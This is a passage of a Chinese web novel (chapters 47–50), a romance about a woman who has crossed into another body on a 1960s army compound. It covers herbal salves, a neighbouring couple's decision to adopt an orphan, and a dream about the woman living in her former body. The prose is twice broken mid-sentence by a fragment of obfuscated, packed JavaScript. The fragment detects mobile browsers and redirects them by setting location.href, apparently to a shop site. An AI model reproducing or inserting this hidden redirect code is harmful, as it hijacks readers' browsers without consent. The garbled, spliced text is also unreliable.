赵书宜没去看对方是什么表情,她自顾说着,尽量表现得自己很像一个极力推销自己产品的销售。 最后总结陈词。 “我爷爷留下来的配方,我觉得肯定没问题,如果真的效果很好,到时候我就拿去给部队那些受伤的同志用,还可以卖到外面医院赚一笔钱。” “多少钱?” 夏木兰问一句差点把赵书宜噎住了。 也就是两人认识的时间已经够长,赵书宜还算是了解她。 “嫂子你怎么没抓住重点,重点是我这是千古一遇的良方,麻烦你帮我试试,我不收钱,您就在我没空时帮我带带小亮就好了。” 夏木兰看了眼门口认认真真画画的蔡明亮,神色温柔,语气里也带上几分暖意。 “你们打算收养小亮吗?” 47. 有点自作多情了 听到夏木兰的问题,赵书宜一愣,随即心里就有些慌张起来。 她以为会是她先跟夏木兰提收养的事情,怎么对方先提了? 该不会是谁提前透露了口风吧? 赵书宜觉得顾岩肯定不会说,难道是陶源? 她心思百转千回,表面却不显示,老实回答对方的问题。 “我们暂时没打算收养,顾岩说他考虑给孩子找一个合适的寄养家庭,但是会一直关注着。” “我看得出来你们都很喜欢孩子也很关心他,为什么不自己收养?” 赵书宜沉默着思考了一会儿,才说:“因为我们都担心自己没办法养好不属于我们自己的孩子。” 这是赵书宜想了很久的答案。 她一开始思考顾岩的用意,怎么都想不明白。 后来她又想到自己身上,她瞬间就想通了。 赵书宜不想承认,但是她不得不承认,自己有一个很糟糕的原身家庭,并且原身家庭对自己的影响极大。 她完全不敢保证自己身上没有父母恶劣的基因。 她很害怕自己活成自己最讨厌的人。 所以她从一开始就已经想好了,她如果要生孩子她只会生一个,她绝对不允许自己的孩子有任何遭遇不公的机会。 虽然她觉得她是可以做到一碗水端平的,但万一不行呢? 万一自己可以,孩子爸爸不行呢? 收养她没想过。 她后来试想了一下那样的情况,她觉得如果收养了,自己应该会对孩子好,但如果自己的孩子和收养的孩子同时受委屈,自己不一定能做到完全的公平。 赵书宜觉得顾岩之前表现出来的复杂的神色就是因为这个。 毕竟他从来没有在她面前提到过自己的父母。 或许这其中有什么内情。 夏木兰听了她的话也沉默了许久,然后她垂眸久久未语。 赵书宜知道她看的是自己的腿。 事情还得慢慢来,得一件一件办,不能急。 赵书宜在心里劝了自己几句才道:“嫂子,你画的画怎么样了,我写了三个故事,我打算先给张玥那边先寄过去看看他们需不需要我们这样的稿件。” 说起画画的事,夏木兰又有了一些神采,她把自己的画稿拿了出来。 “有些地方我有点不太确定,不止画一稿,你帮我选一选。” 赵书宜求之不得。 她就喜欢看稿子,看故事。 下午赵书宜就一直在夏连长家待着,两人没再提药和孩子的事情,但是小亮也来参与了他们两人的选画。 谈到他的事情时,她们声音压得很低,也不知道对方听到没有。 但小亮并没有表现出任何的异常,依旧乖巧。 大概四点多的时候,赵书宜就领着孩子回了家。 顾岩说他回来做饭,赵书宜没当真。 她是崴了脚,但没残,做饭还是可以的。 如果顾岩放假,那这活她肯定不抢。 结果没想到她刚把米淘上,顾岩就回来了。 “我就知道你闲不住,幸亏我早回来了。” 顾岩说这话时完全没有生气的意思,他眼底还有笑意,一看就很高兴。 他能不高兴吗? 他都跟赵书宜说了自己回来做饭了,结果赵书宜还是自己动手了,这不就是心疼他辛苦吗? 越想越是这么回事,整个下午顾岩一直都是笑呵呵的。 工作效率特别高。 整个办公室的人也都看出来他的好心情了。 “你怎么这么早就回来了,最近不忙了吗?” 赵书宜乖乖坐到一边,她没想抢活,也知道自己抢不过。 “不忙了,以后做饭的事都交给我,不准悄悄做,当心我把厨房锁起来。” 赵书宜被威胁了,她却一点也不生气,反而乐呵呵的,“你干嘛呀,你这样别人还以为我瘫了。” “别胡说,你好好养着,难道你不想学身手了吗,想要学身手,最主要的就是要手脚利索。” “知道啦。”赵书宜知道他是为自己好,自己跟他争什么? 两人又一起合作做了饭,味道依旧好吃。 赵书宜跟顾岩说了自己给夏木兰弄了药膏的事情,顾岩眉头一下就皱了起来。 “你什么时候弄的,怎么不好好休息?” 他是知道她前些天没做的,而且人参才拿回来,肯定就是今天弄的。 又是做饭,又是制药,又跑到隔壁去,她哪有休息的时间? “我休息啦,你忘了,我之前就拿药回来了,我这几天还是弄了一些的,只是加了点人参粉进去,轻轻松松坐着就做好了,又不累。” 前些天她确实一直都在准备这事,所以从卫生所买了些药材回来炮制,只不过没当着顾岩的面做而已。 问她为什么,当然是心虚啊。 虽然她的祛疤膏确实有祛疤的效果,泡脚包也确实有该有的效果,但是肯定不如灵泉水的效用。 顾岩想了一下,这才缓了神色。 “那你还有什么事要做吗,都交给我,我晚上很闲。” 赵书宜坐在小马扎上,手肘就撑在膝盖上托着下巴盯着顾岩看。 顾岩久久没听到她的回应,转头看她才注意到她一直盯着自己,耳根瞬间发热。 他继续手中动作,装作毫不在意问:“你盯着我干什么?” “我觉得你长得很好看。” 赵书宜一不小心把自己心里话说了出来。 她连忙抿了一下唇,尴尬得脚趾扣地,但同时又有些紧张地看着顾岩忙碌的身影。 知道他会说好听话,不知道这次他会说什么。 等了一会儿对方还没声音,赵书宜都有点怀疑自己了。 她怀疑自己是不是有点自作多情了。 可能顾岩没那方面的意思。 还是他只是害羞,不好意思说? 赵书宜咬了咬牙,刚想再加把劲,就听顾岩有些别扭说:“之前你说斯文俊秀的才是你喜欢的类型。” 他有自知之明,自己怎么也跟斯文俊秀搭不上边。 赵书宜傻了,没想到这人还会翻旧账,重点是那事根本就不是她做的,她比窦娥还冤。 不过顾岩为什么那么在意那时候的事情,他不会早就喜欢原身了吧? 这个念头其实老早在赵书宜心里闪过,可现在她不是原身了呀。 那他的好是对她还是对原身呢? 原身现在也不知道到底去了哪里,万一她突然回来…… 赵书宜突然沉默下来。 她能想到的结果就是两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773807|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互换了。 既然能互换,换回来似乎也正常。 那自己是不是不该跟顾岩牵扯太多。 顾岩刚才好不容易鼓起勇气问了那么一句。 他不是个爱翻旧账的人,他从前也不在意赵书宜说喜欢斯文俊秀的人,可自己把她放心上,她的一切言行他都在意。 所以对她之前的话也耿耿于怀。 但她没回应。 顾岩心里涌过一阵失落。 所以她确实不喜欢自己这一类是吗? 也是,自己那么糙,她一个娇滴滴的小姑娘,不喜欢也正常。 “这个肉先焯水,还是直接炒?”他转移话题。 “哦,焯水吧。”赵书宜回过神来,语气有点生硬,“烧起来好吃一点。” 顾岩没有反驳,她说什么他就做什么,明明还是之前的样子,但莫名的似乎空气中都多了一丝僵持的冷意。 赵书宜心里有点别扭,就是不太想解释。 但如果就她这个人来说,其实她也没有什么解释的必要。 她和从前的原身现在是一个人。 所有的菜都做好了,时间还很早,顾岩自己主动就去隔壁送了饭。 看着他的背影,赵书宜心里像是被轻轻拧了一下,说不上太难受,但就是有点不得劲就是了。 他过去又很快回来,吃饭时两人一言不发,就连蔡明亮似乎都发现了两人之间的不正常,孩子扒着饭,眼珠子一下看看这个一下看看那个,表情绷着也不说话。 赵书宜看得好笑,给他夹了一块肉。 “好好吃饭。” “谢谢婶婶。” 赵书宜冲她扬起一个和蔼的笑容,“乖。” 大人吵架可不能连累孩子担惊受怕。 可她这样做在顾岩看来就更加心梗了。 但转念这事情是自己生气,她或许根本就不知道自己的想法。 哎。 顾岩在心里叹了一声,继续吃饭,洗碗,等全部收拾好天还没黑。 赵书宜坐在堂屋前看着外面有些阴沉的天色,心情莫名烦闷,老天爷是能察觉他们的情绪吗? 她还是喜欢这里晚漫天的样子。 可是天气如同这世间许多事,万般不由人。 赵书宜觉得自己的顾虑是有必要的,她既然能无缘无故地出现在原身身体里,那就可能随时随地回去。 这些都是她需要考虑的。 至于顾岩是怎么想的,好像也没有那么重要了。 顾岩洗了碗烧了热水出来就看到赵书宜望着天边发呆。 他看了看阴阴沉沉的天抿了一下唇,“现在洗澡吗,如果一会儿下雨可能会很凉。” 听着他的声音,赵书宜回过神来。 她回头看着他,“麻烦你帮我打水,我去找衣服。” 看她进屋,顾岩眉头拧得更紧了。 他总觉得赵书宜对自己客气疏离了很多,是他的错觉吗? 那个男人,是不能提的吗? 顾岩觉得不太对劲。 明明之前她说起那个男人的时候还是一脸愤懑的样子,他甚至怀疑举报那个男人的就是赵书宜。 他说起对方被举报的时候赵书宜明明也没有任何的反应,现在突然这样,是为什么? 肯定不是因为那个男人。 48. 你要是这么做我会恨死你 隔壁。 夏木兰捏着自己的腿,实在感觉有点不舒服。 她眉头皱得紧紧的,还是不太习惯身体不受自己支配的感觉。 其实她的腿是可以站起来的,她可以单腿行动,可以拄拐杖,可那样不是让别人看自己的笑话吗? 但每天这样坐着她还是好难受,依旧不能假装自己的腿没有受过伤。 “吃好了吗?” 听到陶源的声音,夏木兰连忙直起腰,结果动作幅度太大,面前小桌不受控制地朝旁边歪。 陶源连忙上前扶住,虽然勉强将小桌子扶正了,但汤汁溅了他一身。 看到那些汤汁,夏木兰忍不住胸膛起伏。 现在的她就像是那件衣服,已经被溅上油污,再怎么努力都不可能再恢复如初。 “没事没事,洗了就好了。”陶源担心地看着她,说道,“我听隔壁赵同志说她有一种很好用的去油污的肥皂,一定可以洗干净。” 听到赵书宜,夏木兰愣了一下,像是恢复了清明。 “真的吗?” “我骗你做什么,你身上是不是也脏了,换下来我一起洗。” 陶源不动声色把桌子收拾干净,等他回来时已经换了一身衣裳,夏木兰的衣服也换了。 他捏了捏拳,问:“是不是腿又疼了,要不要试试赵同志的泡脚包?” 自从她受伤一直都是如此,天气变化时腿就会痛。 医生说有点痛是正常的,但太痛的话就是她的心理作用。 陶源已经习惯了,她每每这种时候心情都很不好,但不重要,他还是会想办法哄她的。 “没用就当求个心理安慰,说不定晚上能睡得好一点,反正我们现在也没什么事,我想试试用药泡是什么感觉,我听说里面还有人参呢。” 夏木兰捏着大腿的手紧了紧,仰头道:“那我先洗个澡,祛疤膏我们也用一下吧,我要给书宜写个反馈。” 陶源心中大喜,表面却只是露出一个有些浅淡的笑容。 “行,都依你,我已经烧好水了,穿那件白色的长袖可以吗?” “都行。” 两个人洗了许久,夏木兰也早习惯了让陶源看自己这残破不堪又消瘦的身体。 他们之间不会再有什么亲密的互动,她也没那兴致,想来他也一样。 但他就一直不生孩子吗? “陶源,你要怎么才会同意和我离婚,我不想这样和你过一辈子。” 陶源涂着药膏的动作微微一顿,又继续涂抹。 这话题两个人已经谈过无数次,陶源听着心里还是会绞痛,但表面他已经完全可以做到不动声色了。 “怎么又说这个,我们不是早就已经说好了吗,你不要抛下我,你抛下我我也不可能和别人在一起。” “不试试怎么知道?” 夏木兰突然抬手贴在他的小腹,陶源身体一僵。 “你也想的不是吗,我已经满足不了你了。” 陶源幽深的目光看着她,看了许久。 “在你受伤回来后我就已经结扎了,不管你把我推给谁我都不会再有孩子,你能不能不要这样?” 陶源抱住夏木兰,夏木兰感觉自己身上传来温热的触感。 他居然……他居然哭了。 夏木兰沉默了许久,脑子像是死了一样,不知过了多久,她才突然反应过来,她一把推开他。 “你再说一遍,你为什么要这么做!” 陶源大概没有防备,整个人被推得后退两步直接跌坐在了地上。 他没有站起来,而是仰头望着她,满脸泪痕,像一只被抛弃的大狗。 夏木兰心里一阵揪疼,但表面却一点也没表现出来。 他们本质上是同一类人,从来不愿在外人面前表现自己的脆弱。 但现在的陶源看起来很陌生。 他是兵王,他怎么能……怎么能露出那样脆弱的表情? “那你想我怎么做,任由你把你表妹叫来塞到我床上吗,夏木兰你好狠的心。” 夏木兰瞳孔猛地一缩。 他…… 他居然知道! 难怪,难怪自己谈好的事情突然没了音讯,她甚至收不到家里的来信了。 他怎么能,怎么能看自己的信? 可她心虚,她能怪他吗? 她只能怪自己,如果不是自己现在这副样子,怎么会发生后面的那些事情? 眼泪再也控制不住,模糊了视线。 陶源深吸一口气从地上爬起来,他手中还稳稳拿着药膏,摔在地上也没放手。 “我给你上药,免得一会儿感冒了。” 夏木兰没有回答,她已经不知道自己应该怎么办了。 陶源认认真真把药膏擦过她的每一处伤疤,那些疤痕在他看来并不丑陋,那都是她的勋章。 但是他也希望她能漂漂亮亮的,不能再上战场,也希望她可以放下过去,重新开始。 他知道,这个过程还很漫长,但他可以等。 “夏夏,我知道你的心思的时候其实我已经准备退役了。” “什么,不可以!” 夏木兰没想到今晚还能有更让自己无法接受的消息。 “你绝对不可以退役,你怎么能退役?” 她死死掐着陶源,一双眼睛也紧紧盯着他。 陶源却像是毫无所觉。 “我知道你要推开我,无非是觉得我们之间的差距大了,你觉得我前途无量,你觉得你未来无望,那我想那我们都前途无望不就好了。” “你在说什么胡话,我不准你这么做,你要是这么做我会恨死你。” 陶源又被推开。 他把药膏放到一边,拿了衣服帮夏木兰穿衣服。 夏木兰还想反抗却又因为他接下来的话停住了自己的动作。 “我知道你不会接受,所以我没那么做,但是夏夏,你能不能为我想想呢,你做的决定我能接受的了吗?” “我现在想要的无非是能够好好地研究武器,为组织献上自己的一分力,我希望我每天努力后回来能看到你,能看到你好好的。” “我的要求就这么简单。” “我不敢想你不在的日子我要怎么活,我要怎么工作,我的研究已经几个月没有进展了。” 陶源蹲在夏木兰的脚边。 “夏夏,你可怜可怜我。” 自从两人开始争执,夏木兰的眼泪就没停下来过。 她做那些她何尝心中好过。 他是她这辈子最爱的人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782677|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她怎么能够舍得开? “可是我会成为你的拖累的。” “怎么会,这世界上有很多人很多职业,你虽然做不了你最喜欢的事,但你还能画画,你还能生活,你还有我。” 陶源看着她,很认真道:“只要你在,就是我努力工作的动力,我会更努力,连带你的那份一起努力,但是这样家里可能就需要你多照顾一点了。” “我……我真的可以吗?” “你怎么不可以,赵书宜同志跟我说了你画的画特别好,你的画可以上报纸,可以教会那些孩子们道理,也能传递各种精神。” 陶源抱住她,“夏夏,你想想,如果受伤的是我,你会抛下我另嫁他人吗?” 若是陶源从前问这句话,她肯定会毫不犹豫说会。 但经过他的那些话,夏木兰却说不出口了。 “我……我觉得我应该还能生孩子的,你怎么能结扎呢?” 陶源拧了拧眉,他从前面对糟糕的情况,结扎是他想到的最好的方式,他也没想到他还能有办法转变她的心态。 “你会嫌弃我不能生吗?” 夏木兰瞪他一眼,“还是怪我。” “生孩子本就是过鬼门关,不生也好,我舍不得让你陷入危险,而且我家的基因我也没觉得有多好,他们也不需要我传宗接代。” “你要实在喜欢孩子,我们领养一个又何妨,你看小亮那孩子怎么样,我跟顾岩打听过,他们夫妻不会领养孩子,他们要给孩子找领养人。” “我们是再好不过的人选了。” 夏木兰眼神微闪,问:“我看他们两人对孩子也挺关心的,你说他们为什么不愿意收养孩子呢?” “我猜跟顾岩的家庭有关,我也是偶尔听说,他妈从小就离世了,他家里有个后妈,后妈生了自己的孩子,可能是因为这个原因吧。” “他是不相信书宜能照顾好孩子!” 虽然夏木兰能猜到一些顾岩的顾虑,但真听到这样的原因还是觉得很生气。 陶源安抚她,“你别生气,事情也不一定就是我想的这样,但肯定是有他们自己的原因的,目前看他们关系挺稳定的,而且不收养孩子对赵同志肯定也是好事啊。” 夏木兰一下子就无法反驳了。 能养自己的孩子当然是不收养的好。 她又有些忐忑,“不知道那孩子愿不愿意。” “慢慢来吧,只要我们对孩子好,孩子肯定能感受到我们的真心,我先给你打水泡脚,身上涂了药的地方有没有不舒服?” 夏木兰摇摇头,“凉凉的,没什么太大的感觉。” “嗯,慢慢来吧,中药肯定是比较慢的。” 夏木兰嗯了一声。 她其实也没抱什么希望,但她又希望还是能有点用,至少自己能帮帮赵书宜。 很快她泡上了脚,许久没泡脚,泡着还挺舒服,夏木兰眉眼都舒展了。 看着她的样子,陶源心中松了一口气。 他真的没想到赵同志教的方法居然那么有用。 “你先泡着,我去洗衣服,他们还没睡,我去问问看赵同志的肥皂。” 陶源说谎不打草稿。 夏木兰没怀疑,主要是她太相信赵书宜。 “去吧。” 49. 心里越发不安 陶源来时,赵书宜已经准备休息了。 倒不是困了,她只是不知道怎么面对顾岩,想暂时逃避。 看到陶源双眼通红的样子她还惊讶了一下。 “弟妹,你教的办法太有用了,夏夏她好像想通了。” “真的吗?” 赵书宜其实一直都觉得夏木兰是讲道理的人,之前可能在钻牛角尖,但事情这么轻松解决还是让赵书宜很惊喜。 陶源有些不好意思地挠了挠头。 “真的,我按你说的对她示弱,她一下就心软了,以前是我没用对方法。” 赵书宜一脸得意。 “那是当然,越是要强的女人越是吃软不吃硬,你在自己媳妇面前那么强势做什么,你说是吧。” 旁边顾岩看着她眉飞色舞的样子,若有所思。 陶源满脸堆笑,“是,真是太感谢你了。” 他又说了自己衣服的事情。 “你们有办法去掉这上面的油渍吗,我不得已撒了这个谎,没有也没关系,我就说不能完全洗掉。” 赵书宜哭笑不得,她成万金油了。 但能帮上忙她还是很高兴的。 “要不你把衣服给我,我还真有一些去油的方法,但得试试,不保证一定行。” 陶源一脸吃惊,“这怎么行,你跟我说说方法就好了,哪能让你给我们洗衣服?” 看旁边顾岩的眼神都不对了。 他可不能惹这小子。 “没什么,两件衣服而已,你要实在觉得不好意思你就一件衣服给我一毛钱,当我赚钱。” 一听她这话,陶源掏了掏兜。 顾岩这下想刀人的眼神彻底藏不住了。 “给你一件一块,真的麻烦你。” 两块钱和两毛钱对于他们来说都不是什么事,赵书宜没扭捏,直接收下了。 “衣服拿过来吧。” “好,对了,还有一件事情。” 顾岩脸都黑了,还有事,把他媳妇当什么了? “还有什么事,我媳妇脚还没好。” 闻言陶源先是一愣,随即哈哈笑起来。 “你误会了,再大的事我也不好再麻烦弟妹了啊。” 他笑得调侃味十足,让赵书宜都尴尬了。 这顾岩干嘛呀? 真是的。 所幸陶源并不是个喜欢随意调侃人的性子,很快说到了正题。 “我是想问问小亮的情况,我和夏夏倒是愿意收留他,那他愿意吗,还有他家里需要我做些什么吗?” 闻言赵书宜没觉得惊喜,反倒有点担心起来。 “夏连长同意了吗,你怎么说的,可不能让她不高兴。” 赵书宜觉得收养这件事情可以慢慢来,但夏连长可不能再受刺激。 “同意了,你放心,我们不会有我们自己的孩子了,所以夏夏是同意收养小亮的,但我不希望我们的生活被他那些所谓的家人影响,我们也可以收养别的孩子。” 他很认真道:“我看得出来小亮是个好孩子,所以想问问你们具体的情况。” 一般收养孩子许多人都会选择那种刚出生的没有记忆的孩子,这种孩子养得熟。 但他们部队里不同。 那些牺牲英雄的孩子大多已经记事,他们作为军人,要领养也会优先自己死去战友的孩子。 陶源自己也是很钦佩小亮的父亲的,所以他愿意领养小亮。 但前提是自己家里的生活不会因为小亮而出太多的乱子。 他们愿意照顾小亮,可不愿意给自己家庭埋下祸端。 “等等。” 赵书宜脑子里转了一圈又一圈,问,“陶团长,什么叫做你们不会有你们的孩子,我看夏连长身体还可以,她现在主要是心情问题,等你调整过来积极配合治疗,说不定还是可以生孩子的。” 大家都觉得夏木兰不适合生孩子是针对她现在的情况来看。 赵书宜觉得有自己的灵泉水在,让她生孩子没问题。 谁知陶源突然平地一惊雷。 “是我结扎了,所以你们不用担心我们会有孩子欺负小亮。” 他没有多解释,但这已经足够令人震惊。 赵书宜知道以后的技术是可以恢复男子的生育能力的,但现在的医学技术,结扎不知如何,恢复也不知行不行。 虽然陶源没说他要结扎的原因,赵书宜也能猜到一些,肯定跟夏木兰有关。 “夏连长知道吗?” 她要是知道的话,恐怕压力更大吧。 “你放心,这事情我都跟夏夏商量好了,只要小亮那边没问题,我们可以立刻收养,我也希望有人能经常陪在夏夏身边。” “但是小亮也要读书的。” 赵书宜相信他们夫妻,却也忍不住考虑更多。 “当然,但夏夏会有精神寄托,弟妹,你就放心吧,咱们住那么近,我们要是对孩子不好,你随时可以去举报我们。” 陶源并没有因为赵书宜的怀疑而生气,他反而很高兴,很高兴赵书宜是这么一个负责任的人。 但赵书宜却有点不好意思了,当着人的面怀疑人家确实不太好。 “小亮家的事情我明天跟你详说吧,你先回去照顾夏连长,我们也要休息了。” 这么明显的逐客令陶源自然听得出来,一想这事确实不是一时半刻说得清楚的,便答应下来。 赵书宜知道,相对于自己肯定是顾岩更了解蔡家的情况,不过自觉顾岩可能会说蔡小月的事。 但是顾岩为什么要避着自己呢? 赵书宜有点想不通,想不通她也懒得想了。 “陶团长先把衣服拿过来吧,免得忘了,洗了我给你送回去。” “好,稍等我马上拿过来。” 等把衣服拿过来时,陶源又拿了几个水果一些饼干非要塞给赵书宜,赵书宜推辞不过,只能收下。 陶源离开,顾岩顺势就把衣服接下来。 “怎么洗,你跟我说一下,我来洗。” “你不会,放那我洗就好了。” 顾岩:“……” 他连衣服都不会洗了? “我洗。”他态度强硬。 “你别动!”赵书宜态度更加强硬,“我要加药粉的。” 顾岩本来不想由着她,可看她气鼓鼓的样子突然就想起她刚才对陶源说的话。 越是好强的女人越是吃软不吃硬,所以她也是吗? 他软下语气,“好吧,我也是担心你累着。” 都这样的语气了,赵书宜哪里还说得出什么重话,语气也更加柔和。 “没事,两件衣服而已,我会小心的,早点休息吧。” 虽然衣服没给自己洗,但似乎有点效果。 顾岩好像知道自己该怎么和她相处了 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但她心里又是纠结的,她心疼孩子又害怕完全付出自己的真心,她怕被自己爱的人伤害。 这样的痛她不想再经历了。 “或许他想,但是这世界上不是所有事情都会由着他的,我不想让他插入我的家庭,我希望我自己的孩子不会受任何的委屈。” 赵书宜心里很是触动。 他跟自己想得一样。 “我会尽量对他好,但不能影响我的家庭。” “我明白了,陶团长他们也会对他好的。” 孩子现在的三观还没有成形,只要好好教导,他会明白真正爱他的人是谁。 退一万步讲,哪怕他长大知道怨恨顾岩小的时候没收养他,顾岩能做的也都做到了。 到时候是亲近是疏远都可以。 “嗯,我也会做到之前所说的,一直关照他,还有十块钱我也会给他。” 赵书宜其实心里还有另外一个主意。 就是让小亮认他们当干爸干妈,但这样的话,陶源他们不一定会乐意。 她没说。 “行,我支持你。” “你会不会觉得我太冷血?” 两人异口同声,都愣了一下。 “不会。”赵书宜很肯定道,“人首先要爱自己才能爱别人,你首先是顾岩,其次才是我的丈夫,是顾副团,是小亮父亲的战友。” “我支持你。” 顾岩心里情绪翻涌,他突然转身拥住了她。 “我会像爱我自己一样爱你。” 赵书宜身体一僵住,整个人被他的气息完全包裹。 她久久没有说话,她心里越发不安。 她觉得现在的日子是自己偷来的。 也是今天她才恍然意识到,她不仅是自己她还是原身啊。 她到底应该怎么做呢? 没有得到回应,顾岩自然是失落的,但赵书宜没有推开他,这是不是说明她也不排斥他? 也不知过了多久,怀里的人发出了均匀的呼吸声。 顾岩微微叹息一声,也跟着闭上了眼睛。 然而赵书宜这一觉睡得并不安稳。 她做了一个梦。 50. 她好有勇气 梦里又是母亲无休止的谩骂。 赵书宜真的不明白,为什么一个母亲能对自己女儿有那么多的怨气。 她从小到大也没奢求过什么。 他们在对弟弟好的同时给自己一个好脸有那么难吗? “我真是生了个讨债鬼,你没看到家里这么乱吗?” “你这么废物,以后嫁到婆家婆家怎么容得下你。” “我可告诉你,你以后嫁进别人家受了委屈可别来找我们,都是你自己不争气,死丫头片子!” “生女儿就是没用!” 赵书宜听到这些话,太阳穴突突地跳! “别说了!”她大吼一声,然而她妈就像是什么也没听到似的,继续她的谩骂。 “早知道就晚点生了。” “我求你别说了行不行?”赵书宜上前想要去拉亲妈的手,结果没想到自己的胳膊居然直接穿过了对方的手臂。 “怎么回事?” 赵书宜陷入震惊与恐慌中。 赵母完全没看到她,还在冲着房间里嚷嚷。 “你这死丫头,还不出来干活,要老娘进去请你是不是!” 就在赵书宜疑惑的时候,她的房门被打开,一个红着眼睛的姑娘从里面冲了出来。 那姑娘和她长得一模一样。 “左一个丫头片子,右一个死丫头,你自己不是小姑娘长大的吗?只想着男人男人男人,没有女人生得出男人吗?” 赵母震惊地看着自己的女儿。 “你……你你你……” “你什么你,一天到晚骂我没有教养,就你这泼妇样子,你有教养?” “反了天了!” “我就是反了天了,你信不信你再骂我我把这个家给砸了,我找人打断你宝贝儿子的腿!” “你敢!” 小姑娘抄起桌上的茶壶直接砸到了地上。 “你看我敢不敢,我不仅打断他的腿,我还要废了他,我让你赵家断子绝孙!” 放完狠话,小姑娘潇洒利落地转身回屋,房门关的砰一声,吓得赵母一颤。 她看着地上的碎片,喃喃念叨,“反了反了,真是反了天了。” 然而她声音低低的只有她能听到,到底是不敢嚷嚷了。 赵书宜看得晃了一下神,下一刻不知怎么进到了房间里。 她看到房间里的小姑娘正坐在椅子上瑟瑟发抖,对方显然也怕极了。 她面前是赵书宜的电脑,此刻电脑页面正停留在一个搜索引擎上。 上面搜索的内容是,“当我有一个重男轻女每天为了儿子辱骂女儿的亲妈该怎么办?” 旁边还有历史记录。 “什么是穿越时空?” “我的灵魂到了另一具身体上怎么办?” 赵书宜好像意识到了什么,这个人不是她,是和自己交换身体的六十年代的赵书宜。 赵书宜不知跟了对方多久。 她又看到那个赵书宜拿着菜刀指着自己爸妈和弟弟,吓得一家人惊恐万分。 赵书宜觉得心里畅快极了。 最后她弟弟怕了,怕自己真断腿,真被废,他求着爸妈把姐姐赶出去。 四人坐在一起商量“赵书宜”的去留,最后在“赵书宜”的冷脸下一家人给了她五千块。 五千块,她上交的一个月工资而已,出去顶多能交两个月房租。 “赵书宜”离开了,只拿了一个行李箱和五千块。 看到这里赵书宜不知心里什么感受,悲凉?解脱? 她跟着“赵书宜”去了医院,她当心对方不适应这里的生活,当心五千会不够她用。 结果对方一到医院就主动签了去西北的援边计划。 “别去啊,那边日子很苦的。” 对方一直是个大小姐,不说别的,那边的气候她受得了吗? 然而她根本听不到赵书宜的声音。 后来赵书宜听到她跟同事说起自己的想法。 “人活一世,总要做点有意义的事情,我希望能尽自己的一份力让生病的人多一分生的希望。” 看到她选的地址,赵书宜才恍然反应过来。 那个地址是书里赵父赵母下放的位置。 他们的生命永远留在了那里。 赵书宜不禁起了一身的鸡皮疙瘩,眼睛发酸,心口发涨,喘不过气来。 好难受好难受。 “书宜,醒醒。” 赵书宜睁眼,看到了顾岩担忧的表情。 “又做噩梦了吗,别怕。” 赵书宜抱住他,“我梦到我爸妈了,顾岩,我爸妈还好吗?” “没事,别担心,有爷爷帮忙看着,绝对不会有问题的,我会让爷爷想办法联系一下,你放心。” 顾岩是被赵书宜呓语的声音吵醒的。 她不知是梦到了什么,整个人都陷入一种恐慌之中,叫又叫不醒。 顾岩被她紧紧贴着,他却没有半点旖旎心思。 “你现在有点发烧了,我去给你找点药好吗?” 看她已经缓过来了,顾岩便轻轻松开了她,这才发现赵书宜已经泪流满面。 顾岩实在心疼,又把人拥在怀里好好哄了一阵。 担心她睡着,他去拿了药喂赵书宜吃下,又拧了湿毛巾给赵书宜降温。 结果折腾到天微亮赵书宜的烧还没有退。 无奈,顾岩只能把人背着去了王军医家。 - 赵书宜醒来时脑子一阵发涨,她动动手指都觉得疼,好像身上被什么重物碾过一样。 她睁开眼睛,看到面前的场景久久没能反应过来。 “书宜,你醒了,感觉怎么样,有没有哪里不舒服?” 顾岩担心地冲到床前,抬手就在赵书宜额头上挨了一下。 “水……”赵书宜喉咙沙哑,差点没能发出声音。 等喝下半杯温水,她这才感觉好了一点,可是身上还是没有力气不舒服。 “我这是怎么了?” 她自己也开始回想之前的事情。 她记得自己睡着了,然后她做了一个梦,梦到了自己从前的家人,梦到了另一个赵书宜。 “我爸妈……我爸妈他们还好吗?” 顾岩忙道:“你放心,我刚给我爷爷打了电话,他说你父母一切都好,他会尽早让那边写封信过来,你放心好了。” “不用,一切都好就行。”一切都好她就放了心。 这样“赵书宜”应该也放心了。 看她这样子,顾岩哪里能放心,完全没把她的拒绝放在心上。 虽然传信是麻烦了点,但也不是不可以。 能让她安心,怎么都好。 “嗯,你要好好的,别让你父母担忧你,等实验结束,你们还是能见面的。” 顾岩很确信会有这么一天,他们都要好好的才行。 赵书宜被顾岩拥在怀里,实则思绪有些放空。 她想到了自己的那个长长的梦。 “赵书宜”她好有勇气,她似乎找到了自己的目标,自己也应该好好地活下去。 她的病来势汹汹,大家都只当她是被吓着还没缓过来,所以都格外照顾她。 顾岩每天只要有空都会守着她,哪怕她大部分时间都在睡觉。 她想吃什么想喝什么,哪怕是晚上动一下顾岩都能立马醒来询问她的需求。 他对她真的很好。 可是赵书宜还是没有想好自己和他的未来。 她也不知道该怎么选择,脑子里乱乱的。 赵书宜已经梳理出了自己以后应该走的路。 她会医术,虽然实践能力还不足,但她有灵泉水的辅助,又有这个年代的医学工作者没有的理论经验。 她应该担起自己的责任。 但感情上,她真不知该怎么办? 想了好几天,病都快好了,她也没能想出个头绪。 “算了,走一步算一步吧。” 犹豫应该是感情还不够深,再接触接触说不定就知道该前进还是该后退了。 打定主意,赵书宜跟顾岩的接触正常了不少。 顾岩都觉得很奇怪。 这段时间他过得实在有些煎熬。 他感觉自己和赵书宜之间多了一层无形的屏障,他不知道怎么打破。 